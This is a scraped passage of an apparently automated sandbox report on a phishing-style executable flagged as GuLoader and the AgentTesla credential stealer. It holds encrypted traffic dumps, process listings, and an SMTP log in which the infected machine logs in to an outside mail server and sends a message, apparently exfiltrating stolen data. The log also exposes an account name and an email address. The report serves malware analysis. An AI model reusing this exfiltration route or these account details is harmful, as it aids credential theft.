98 5a c9 9c 2b 1c 50 af df 55 c2 f0 2a f7 06 9e b3 87 e3 0b 50 42 3c 8d 6f 2a b7 30 06 76 09 35 e9 38 36 c0 4e 8f 27 f4 f4 
09 29 51 f8 6f 5a ed b6 d0 3f e4 34 3e 48 11 c0 d6 c0 70 f4 60 86 48 b3 6a ac 45 56 ce 0c fb 26 0b 57 12 54 bb 1e 06 51 
81 86 20 ce cc 5d 23 59 93 70 08 ac fc d6 c6 72 d7 34 34 63 46 93 70 57 4a 7c 02 01 91 a6 18 60 57 59 45 1d a9 c0 2c 5d 
71 22 bc 07 e6 4f e6 db 75 66 cb 78 87 62 b3 40 28 7d 85 cb 56 a2 b7 7f d3 6e f8 6c f6 6c 50 7b a1 e1 7f 62 2c a6 ca fd fc 
a5 28 04 9a e6 16 a1 69 f7 dc 3f 9c 23 49 97 e7 ad d1 b1 ac 03 1c db 80 6c 5b 7a 05 07 f1 b5 b0 40 de 56 ed 13 a3 fb a4 
fe 7a f9 5e 7b f3 e6 70 f7 3e be a5 9c a5 46 44 
Data Ascii: bCI[6LoJ_EZ+PU*PB<o*0v586N')QoZ?4>Hp`HjEV&WTQ ]#Ypr44cFpWJ|`WYE,]q"Oufxb@(}VnllP{b,(i?#I
l[z@Vz^{p>FD

2021-10-14 01:28:02 UTC 212 IN Data Raw: 38 01 65 ec 0a e8 b8 fa 74 4b 7f 6f 3e 26 c9 a3 4c 74 52 c3 38 7f 4e 1f 3d 80 c6 e5 b7 68 09 bc a3 8b 52 62 94 
f8 b3 78 ed d4 e5 1f a5 5b d9 e2 41 a6 64 7a ff 65 11 59 65 b1 0c c4 b4 9b a0 78 f5 58 b1 60 5d da 70 76 51 f7 dd 7e 44 
55 cc e6 cb a3 38 90 8b 34 13 e4 e5 19 44 b5 d9 27 80 59 7a 0f d5 fa 4a 47 3c bb f1 c6 99 0d 85 13 81 ec 20 1d 58 6d 68 
31 9c 99 16 3d 11 fd 89 7b ae 47 80 e5 25 88 d4 20 f1 19 04 8f 35 9d 8c be 7b 3f 26 58 7e dd e2 a7 13 66 64 09 09 56 14 
db 20 aa 09 21 70 77 8d f2 b4 ce a4 f2 78 2e 5c c7 b2 0b b1 3e 5e 6d b9 c3 fd 9e 7b 93 8b ec 2a 35 3c 3a f5 b4 af d0 99 af 
11 dd 4a 9c 96 fd bf a0 4a 4c 10 7b 96 e7 84 86 4b 00 46 6e b2 6b 3f d4 2b c9 62 32 49 7e 11 bb 9e 08 fb 63 5c b5 ff ae c8 
ec 4d f0 23 cc d1 91 6a 4b 68 c4 0e 0c 6f cf d0 
Data Ascii: 8etKo>&LtR8N=hRbx[AdzeYexX`]pvQ~DU84D'YzJG< Xmh1={G% 5{?&X~fdV !pwx.\>^m{*5<:JJL{KFnk?+b
2I~c\M#jKho

2021-10-14 01:28:02 UTC 214 IN Data Raw: 88 74 e7 28 3f c6 5d 84 28 73 f3 95 6c 51 fb 36 52 f9 29 6c 20 ef 29 24 d8 82 df c5 cb 65 e4 6c 01 f9 b7 44 bf d9
13 c6 18 7c 2b 08 5c 03 dc fb 14 0e 46 1e 92 3f c5 d6 d8 67 d4 86 62 9e ba f6 c5 d6 72 d7 00 2b 68 55 9b 77 2c da 4b 29 
12 81 a9 9f 77 75 56 4a 01 3e e4 a8 c4 72 2d b8 97 5d 5b c4 d5 69 ed e3 62 25 d4 ac 4b 27 f9 cd ca 4f b3 31 db d4 7d ef 
f0 b3 6f 61 f9 8d f7 ff 0d 2e b5 ce ed fd ac 3d 1f 1e ea 09 aa 66 73 94 3c b4 26 5c 84 61 ae db a7 ac 11 00 d7 9b 7a df 74 
16 89 7f 36 f8 59 f9 58 e3 17 aa f9 b3 f5 7a f9 4c 75 6d d2 69 f7 d5 be b2 03 a0 46 5b aa fa 70 df 0b 42 09 7e 6b 6e 68 88 
1f 32 bc 83 34 22 6c eb ce dc a3 9a 61 1f 9a ab b2 ad 09 94 44 ea 07 20 ec 99 40 58 ba 30 db b4 35 9a 1d cc 39 6d 32 53 
99 6a b1 6e 85 be b9 e1 3c 96 72 d6 29 06 80 
Data Ascii: t(?](slQ6R)l )$elD|+\F?gbr+hUw,K)wuVJ>r-][ib%K'O1}oa.=fs<&\azt6YXzLumiF[pB~knh24"laD @X059m2Sjn<r)

2021-10-14 01:28:02 UTC 215 IN Data Raw: e7 0c 8b 60 f1 ed f2 df ff 04 48 da ab d9 ce 36 86 66 26 91 6d e7 25 5a a9 49 03 d1 c6 7a 00 52 5d 44 28 0e d3 
f8 ca 09 65 81 2e 8a f6 bf b6 4d 69 6d 3f 03 32 17 29 5c e1 8f 38 2b cb 9c f0 a7 3f 54 77 62 d8 54 95 b1 38 8f ad f4 7d 3e 
56 63 c1 7e ec 07 6f 72 00 09 57 3c d1 26 ac 05 33 70 78 02 bc a6 c7 b7 78 cf 24 5a c1 b8 1e b1 27 ff 2d be b8 77 23 71 
9d 85 e2 37 2f 35 35 75 09 b0 c2 85 25 71 c8 4e 0c a5 45 af 32 0a 52 31 78 82 f8 17 bf bc 1f c8 9f a4 ea 10 4a 69 cf ec d8 
4e 71 06 bd 96 12 64 7a 43 b3 f9 a8 ce ec 4b f6 30 d1 c8 1b c1 20 6e c2 0e 0c 69 c3 d7 3a b2 ab d6 36 89 06 b0 43 8a 07 
d1 21 a7 1e 6a a5 67 76 4c 4a 27 af 29 01 80 a2 f8 34 23 41 e9 72 25 65 67 3c aa 42 b5 29 dc ea 66 8b 8e 9b 9b e9 6d fb 
e1 e7 84 72 36 34 51 dc 50 7f 81 37 31 05 68 8f 
Data Ascii: `H6f&m%ZIzR]D(e.Mim?2)\8+?TwbT8}>Vc~orW<&3pxx$Z'-w#q7/55u%qNE2R1xJiNqdzCK0 ni:6C!jgvLJ')
4#Ar%eg<B)fmr64QP71h

2021-10-14 01:28:02 UTC 216 IN Data Raw: 5b 0c 2c 6e 5c 91 66 3c 4a 9b 37 14 91 9b 1d 74 f4 d9 41 2c 2b e7 aa a4 77 23 ae 87 d1 44 d6 d5 62 e3 f5 7e 
a9 69 a8 45 37 64 9d df 46 a5 b4 67 de 7b f5 79 fb 6d 41 f8 90 f0 6e 85 89 a7 c0 d3 fb b2 26 18 8f 62 ae a5 7a fa c1 25 15 
83 48 9b f7 b1 58 11 ad 0c 14 cc 0f ce 5d 77 1a 89 65 b9 b0 5e d1 50 fe 1e b6 f0 b1 f3 6f f4 53 60 cf f9 7d eb ad 20 32 1c 
ba 51 42 b0 f9 68 7e 30 5f ab 45 77 65 7b 9c 92 0c ab 1f 78 2f f0 be d9 c4 b9 9a 63 19 99 85 b3 bb 1f a7 5b 77 83 39 e7 84
52 6d b8 16 d9 b5 3b 83 1f c5 39 69 2b b9 94 77 b4 62 8b 9b 3e 65 2d c4 f3 73 28 10 01 16 af 61 03 8f 48 f0 2a e8 65 94 
cf 4c fc ab a0 71 83 29 07 fd 19 89 ec 4f 1e 80 1c 2c 0f e8 0b fa ac 35 10 2b b9 88 ea 40 f7 dd 46 54 d3 3b dd 97 e8 ad bb 
74 40 e4 72 6b b9 e5 2d 08 c7 99 fe 32 d0 7d 
Data Ascii: [,n\f<J7tA,+w#Db~iE7dFg{ymAn&bz%HX]we^PoS`} 2QBh~0_Ewe{x/c[w9Rm;9i+wb>e-s(aH*eLq)O,5+@FT
;t@rk-2}

2021-10-14 01:28:02 UTC 217 IN Data Raw: 86 96 45 81 21 1d 5a bb 73 2c a3 80 7a c9 72 62 d5 65 68 0d 9b 34 01 d9 2e a4 87 2b 7f 6a 83 7c be d9 b5 70 
41 28 51 c9 ba 96 bb 31 7e 6d 2c d5 7a 2b 79 00 82 f9 3e 20 a8 8d 76 13 2d 32 93 a2 23 5d 8a 89 12 55 3d 4a 49 59 0c 
75 87 f0 14 be cc 06 5d 74 34 cc 2c 47 ee 37 e4 d1 57 70 13 bd 83 1c 79 73 4c 3a 74 a8 ca f6 47 ec ad 3d d2 93 06 5b e6 
2e 0e 14 61 c6 c5 b8 54 a2 d8 1d 9c 94 41 5f 05 ab d7 30 34 de 80 b9 f2 80 c5 e5 26 be ba c1 6a be 76 fc 23 4b fb 70 28 
69 e2 d8 bd ca 43 ba 1c 2d 1d 03 62 99 95 e1 61 e7 6f 0d 82 6d be c5 42 dc 5e 71 13 51 1e 8b 91 86 a7 8d 9d 00 b3 a2 
3b 32 6e de b9 e0 16 da 59 d4 9a 40 36 06 6d b7 d1 be ad a3 21 b2 75 2e a6 4a 65 b1 f0 1a fe 44 78 d4 a5 54 31 25 10 2
7 61 f4 8f a0 a5 15 42 00 ed 1a fa fb 24 78 66 fb a6 16 93 f5 f1 
Data Ascii: E!Zs,zrbeh4.+j|pA(Q1~m,z+y> v-2#]U=JIYu]t4,G7WpysL:tG=[.aTA_04&jv#Kp(iC-baomB^qQ;2nY@6m!
u.JeDxT1%'aB$xf

Timestamp
kBytes
transferred Direction Data
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Behavior

Click to jump to process

2021-10-14 01:28:02 UTC 219 IN Data Raw: 10 83 e3 08 ae 75 fc d3 22 85 a2 4c 97 ec ad df b4 ad 03 13 5c 83 62 7c 7d 09 82 70 b2 b0 55 db 56 d8 16 ab 
ec 38 5e 66 e9 41 e3 ea f9 7b eb a1 a4 bb 0c 3d 53 55 36 f0 64 fa 01 58 99 c2 7e 79 f4 85 01 b4 b2 8c b0 36 79 e6 52 c4 
b6 90 7c 03 1b 08 b2 a3 9a a9 4d d7 1a 2f 63 8c 4f 68 b8 16 c8 34 3f 83 28 c5 39 69 26 50 82 65 35 c3 8c 98 3f f1 2f 83 f1 
62 a9 10 09 11 8f 61 16 0e 48 f6 0a ed 64 95 4e 48 f3 a3 a2 64 91 ac 52 fc 0b 08 e0 47 1b a0 1c 3d 1d 99 ae fb bc b2 1f 22
9f 82 ee 53 f8 4d 63 f9 c4 bc c8 a5 6f 0a af f2 ed e2 68 e2 18 e4 08 0c dd 10 fb 24 5b 7b df 66 08 9f 08 87 2c 7c 19 e2 f0 
00 a5 ef 02 f9 35 7d 57 be d7 42 d9 77 60 51 26 1d 61 74 40 fb cc e6 1d ec 02 f8 cc a3 b9 92 08 48 11 c8 85 0e 33 a0 9e 
52 99 5d e9 66 be 7d 58 1f b2 95 15 fa 3a 6c 08 
Data Ascii: u"L\b|}pUV8^fA{=SU6dX~y6yR|M/cOh4?(9i&Pe5?/baHdNHdRG="SMcoh$[{f,|5}WBw`Q&at@H3R]f}X:l

2021-10-14 01:28:02 UTC 220 IN Data Raw: 8d 14 44 bd b3 4a 5f 11 7c 83 f6 06 3f 49 0e 48 66 b5 69 2d 55 6e db e2 d6 53 79 1b b5 8b 1a 79 72 5e bb f1 
a0 c6 f1 43 fe 2d d9 c0 13 d3 49 66 ca 06 11 61 c6 d7 38 b0 a5 d8 1f 8e 14 a5 51 0b a2 d0 33 26 5e 64 ab 72 64 cd ef 26 
bd a8 41 8e ac f6 29 2d 49 f4 77 2d 78 62 21 af 4a a7 a8 9c f8 0f 83 86 91 9c e1 63 f5 ef e9 8c 7c 3e 3c 4a db 5c 63 93 b5 
0c 0b 75 8a a5 8e 9f 80 57 b0 9b e7 7f de 58 e2 1e dd 63 c6 1a 2c 24 86 9c bc f1 ba bf 23 cd a3 f5 c6 a8 44 6a b7 f6 18 ec 
c4 c4 dc b5 f4 34 37 90 cb 70 74 67 ae b7 95 97 11 6c 53 f5 f3 22 7a 74 7b 22 04 13 99 e3 32 1a cd d6 ba 63 08 b3 b8 45 
33 e4 9c 8a a6 00 f6 af 48 d3 d4 c7 10 35 4d 94 ed ce 58 dd 03 4d e8 81 11 01 98 1c 9d 4f db 1e 3a 8e 5e a1 d1 f7 56 90 
2a 21 04 fb b3 e3 e3 6e 50 2c 3c f9 6f 0b 34 52 06 
Data Ascii: DJ_|?IHfi-UnSyyr^C-Ifa8Q3&^drd&A)-Iw-xb!Jc|><J\cuWXc,$#Dj47ptglS"zt{"2cE3H5MXMO:^V*!nP,<o4R

2021-10-14 01:28:02 UTC 221 IN Data Raw: 46 ce fb 55 7b 09 92 b0 b5 ca f1 06 7f d6 c8 c5 d4 77 81 26 92 6d 58 8e b9 70 0c cf 59 b7 c3 54 ec 7d b7 1b 49 
5a 3f d6 14 d7 03 fe f9 83 db 4f e5 9f 00 4d 36 2e 2a a2 6b 27 af 6c d0 0a cc 59 ab bd 29 89 d1 c5 02 f7 48 93 ad 6b e0 9e 
26 7d e5 7b 4d 7c 26 06 f0 8e 13 37 09 83 ac 9c 23 89 b9 b4 91 a2 44 fe 8b 62 25 9d 4f 6b 98 08 16 c2 95 44 67 a9 fe cd 
38 d0 43 f8 1a 7e e4 70 ef 46 0d 65 c9 ec 8b 14 ee 10 78 3d 7a 77 bc c5 c3 70 79 7c 56 06 1f 73 f5 e9 f3 c4 ee 08 fd 83 49 
cd b1 38 9a 0d 60 11 d9 04 0a 39 88 9e 47 8b dc 4c 67 ac fc 50 1b b4 87 97 bf 31 4c 0c 1e 39 03 6d e9 0a e9 b9 e8 3c 4e 
7f 6e 3f 34 85 ac 4b 7c 5a d2 78 67 5c 57 2c c0 d7 a5 a5 24 01 ba a3 89 4e 7a 86 cd b5 58 ee dc ed 07 bd 5d de e1 49 b4 
0d 62 f9 45 11 44 77 33 a1 c2 b4 9a b8 6a 77 f5 
Data Ascii: FU{w&mXpYT}IZ?OM6.*k'lY)Hk&}{M|&7#Db%OkDg8C~pFex=zwpy|VsI8`9GLgP1L9m<Nn?4K|Zxg\W,$NzX]Ib
EDw3jw

Timestamp
kBytes
transferred Direction Data

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

Oct 14, 2021 03:29:38.982326984 CEST 587 49818 65.60.11.90 192.168.11.20 220-viper.itsoul.com ESMTP Exim 4.94.2 #2 Thu, 14 Oct 2021 06:59:40 
+0530 
220-We do not authorize the use of this system to transport unsolicited, 
220 and/or bulk e-mail.

Oct 14, 2021 03:29:38.982953072 CEST 49818 587 192.168.11.20 65.60.11.90 EHLO 506013

Oct 14, 2021 03:29:39.310326099 CEST 587 49818 65.60.11.90 192.168.11.20 250-viper.itsoul.com Hello 506013 - 102.129.143.96 - [127.0.0.1]
250-SIZE 52428800
250-8BITMIME
250-AUTH PLAIN LOGIN
250-NOOP
250-SIZE 157286400
250 HELP

Oct 14, 2021 03:29:39.311556101 CEST 49818 587 192.168.11.20 65.60.11.90 AUTH login aGVtYW50QGZyaWVuZHNlcXVpcG1lbnQuY29t

Oct 14, 2021 03:29:39.457093954 CEST 587 49818 65.60.11.90 192.168.11.20 334 UGFzc3dvcmQ6

Oct 14, 2021 03:29:39.631705999 CEST 587 49818 65.60.11.90 192.168.11.20 235 Authentication succeeded

Oct 14, 2021 03:29:39.632817984 CEST 49818 587 192.168.11.20 65.60.11.90 MAIL FROM:<hemant@friendsequipment.com>

Oct 14, 2021 03:29:39.777643919 CEST 587 49818 65.60.11.90 192.168.11.20 250 OK

Oct 14, 2021 03:29:39.777976036 CEST 49818 587 192.168.11.20 65.60.11.90 RCPT TO:<hemant@friendsequipment.com>

Oct 14, 2021 03:29:39.937525034 CEST 587 49818 65.60.11.90 192.168.11.20 250 Accepted

Oct 14, 2021 03:29:39.937799931 CEST 49818 587 192.168.11.20 65.60.11.90 DATA

Oct 14, 2021 03:29:40.086467028 CEST 587 49818 65.60.11.90 192.168.11.20 354 Enter message, ending with "." on a line by itself

Oct 14, 2021 03:29:40.088948011 CEST 49818 587 192.168.11.20 65.60.11.90 .

Oct 14, 2021 03:29:40.322474003 CEST 587 49818 65.60.11.90 192.168.11.20 250 OK id=1mapa4-0008Np-Bt

Oct 14, 2021 03:31:18.226227045 CEST 49818 587 192.168.11.20 65.60.11.90 QUIT

Oct 14, 2021 03:31:18.365115881 CEST 587 49818 65.60.11.90 192.168.11.20 221 viper.itsoul.com closing connection

SMTP Packets
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System Behavior

File ActivitiesFile Activities

Start time: 03:27:08

Start date: 14/10/2021

Path: C:\Users\user\Desktop\Contract and PI of 1500W.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Contract and PI of 1500W.exe' 

Imagebase: 0x400000

File size: 135168 bytes

MD5 hash: DBCEAB5B0F79168FFEA64F16BF7F1263

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000002.00000002.278281355079.00000000022A0000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 03:27:35

Start date: 14/10/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Contract and PI of 1500W.exe' 

Imagebase: 0x9b0000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000009.00000002.282790628196.000000001DE51000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
00000009.00000002.282790628196.000000001DE51000.00000004.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

Show Windows behavior

Show Windows behavior

Analysis Process: Contract and PI of 1500W.exe PID: 1404 Parent PID: 2288Analysis Process: Contract and PI of 1500W.exe PID: 1404 Parent PID: 2288

General

Analysis Process: RegAsm.exe PID: 1388 Parent PID: 1404Analysis Process: RegAsm.exe PID: 1388 Parent PID: 1404

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Key Value CreatedKey Value Created
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File ActivitiesFile Activities

Start time: 03:27:35

Start date: 14/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6bc920000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 03:28:33

Start date: 14/10/2021

Path: C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe' 

Imagebase: 0x8d0000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: false

Has administrator privileges: false

Programmed in: .Net C# or VB.NET

Antivirus matches: Detection: 0%, Metadefender, Browse
Detection: 0%, ReversingLabs

Reputation: moderate

Show Windows behavior

Start time: 03:28:33

Start date: 14/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6bc920000

File size: 875008 bytes

Analysis Process: conhost.exe PID: 4448 Parent PID: 1388Analysis Process: conhost.exe PID: 4448 Parent PID: 1388

General

Analysis Process: DnDcR.exe PID: 1740 Parent PID: 4456Analysis Process: DnDcR.exe PID: 1740 Parent PID: 4456

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: conhost.exe PID: 2904 Parent PID: 1740Analysis Process: conhost.exe PID: 2904 Parent PID: 1740

General
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Joe Sandbox Cloud Basic 33.0.0 White Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

File ActivitiesFile Activities

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 03:28:41

Start date: 14/10/2021

Path: C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe' 

Imagebase: 0x7b0000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: false

Has administrator privileges: false

Programmed in: .Net C# or VB.NET

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 03:28:41

Start date: 14/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6bc920000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Analysis Process: DnDcR.exe PID: 6460 Parent PID: 4456Analysis Process: DnDcR.exe PID: 6460 Parent PID: 4456

General

File WrittenFile Written

File ReadFile Read

Analysis Process: conhost.exe PID: 6440 Parent PID: 6460Analysis Process: conhost.exe PID: 6440 Parent PID: 6460

General
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